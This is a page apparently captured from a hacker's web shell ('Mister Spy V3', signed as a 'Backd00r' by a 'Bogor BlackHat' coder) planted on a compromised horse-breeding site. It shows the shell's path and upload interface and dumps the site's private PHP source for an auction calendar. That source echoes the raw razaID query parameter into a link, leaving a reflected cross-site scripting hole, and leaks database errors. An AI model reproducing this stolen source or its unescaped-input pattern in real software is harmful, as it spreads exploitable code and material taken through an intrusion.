Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/espanol/
Upload File :
Current File : /home/caballoscriollos/public_html/espanol/iframe_home_calendario.php

<?

include_once("ssi_header_template.php");


$sql_razas	    = mysql_query("SELECT * FROM razas ORDER BY raza ASC") or die(mysql_error());

$filtro_calendario = 1; # POR DEFAULT CABALLOS CRIOLLOS
if(isset($_GET['razaID']) && $_GET['razaID']!="")
	$filtro_calendario = intval($_GET['razaID']);


$sql_calendario = sprintf("SELECT r.*, p.provincia, pa.pais FROM (remates r LEFT JOIN provincias p ON r.provinciaID=p.provinciaID) LEFT JOIN paises pa ON r.paisID=pa.paisID WHERE r.razaID='%s' AND r.estado='1' AND r.fecha>='%s' ORDER BY r.fecha ASC LIMIT 4", $filtro_calendario, date('Y-m-d'));
$rs_calendario = mysql_query( $sql_calendario ) or die(mysql_error());

$mesesTodos = cargarMeses();
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Documento sin t&iacute;tulo</title>
<link href="basico_frontend.css" rel="stylesheet" type="text/css" />
</head>

<body class="FondoBlanco">
<table width="100%" border="0" cellpadding="0" cellspacing="0" class="FondoAmarillo">
  <tr>
    <td height="15">&nbsp;</td>
    <td height="15">&nbsp;</td>
    <td height="15">&nbsp;</td>
  </tr>
  <tr style="display:none">
    <td width="20" height="40">&nbsp;</td>
    <form id="formCalendario" name="formCalendario" method="get" action="">
      <td height="40"><strong>
        <label> Seleccione raza:
          <select name="razaID" class="camposIngreso" id="razaID" style="width:170px;" onChange="javascript:document.formCalendario.submit();">
            <? while ($oRow = mysql_fetch_array($sql_razas)){ ?>
			    <? 
					if( !isset($_GET['razaID']) && $oRow['razaID']=="1")
						$selected = "selected"; # POR DEFAULT VA CABALLOS CRIOLLOS
					else
						if(isset($_GET['razaID']) && $oRow['razaID']==$_GET['razaID'])
							$selected = "selected"; # OPCION SELECCIONADA
						else
							$selected = "";				
				?>
		        <option value="<?=$oRow['razaID']?>" <?=$selected?>>
		            <?=$oRow['raza']?>
	            </option>
            <? } ?>
        </select>
        </label>
      </strong> </td>
    </form>
    <td width="20" height="40">&nbsp;</td>
  </tr>
  
  <? while ($oRow = mysql_fetch_array($rs_calendario)){ ?>
	  <tr>
		<td width="20" height="60">&nbsp;</td>
		<td height="60"><table width="100%" border="0" cellspacing="0" cellpadding="0">
		  <tr>
			<td width="70"><div align="center">
			  <table width="58" height="59" border="0" align="center" cellpadding="0" cellspacing="0">
				<tr>
				  <td background="images/prediorural_fondofecha.jpg"><div align="center" class="TextoBlancoCrossingnet"><?=substr($oRow['fecha'],8,2)?><br />
			      <?=substr( $mesesTodos[ substr($oRow['fecha'],5,2) ] ,0,3); ?></div></td>
				</tr>
			  </table>
			</div></td>
			<td><table width="100%" border="0" cellspacing="0" cellpadding="0">
			  <tr>
				<td><a href="calendario_detalle.php?id=<?=$oRow['remateID']?>" class="TituloSecundario" target="_top"><?=$oRow['remate']?>
				</a></td>
			  </tr>
			  <tr>
				<td>
				  <strong>
				  <?=$oRow['localidad']?> 
				  - 
				  <?=$oRow['provincia']?> 
				  - 
				  <?=$oRow['pais']?>
				  </strong></td>
			  </tr>
			</table></td>
		  </tr>
		</table></td>
		<td width="20" height="60">&nbsp;</td>
	  </tr>
	<? } ?>  
  
  <tr>
    <td width="20" height="50">&nbsp;</td>
    <td height="50"><div align="right"><a href="calendario.php<? if(isset($_GET['razaID']) && $_GET['razaID']!=""){ echo "?razaID=".$_GET['razaID']; }?>" class="linkBasico"  target="_top">(+) Ver listado completo </a></div></td>
    <td width="20" height="50">&nbsp;</td>
  </tr>
  <tr>
    <td height="30">&nbsp;</td>
    <td height="30"><table width="100%" border="0" cellpadding="0" cellspacing="0" bgcolor="#000000">
      <tr>
        <td height="100"><div align="center" class="TextoBlancoCrossingnet"><strong>MAIN SPONSOR DEL<br />
          CALENDARIO </strong></div></td>
      </tr>
    </table></td>
    <td height="30">&nbsp;</td>
  </tr>
  <tr>
    <td height="30">&nbsp;</td>
    <td height="30">&nbsp;</td>
    <td height="30">&nbsp;</td>
  </tr>
</table>
</body>
</html>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat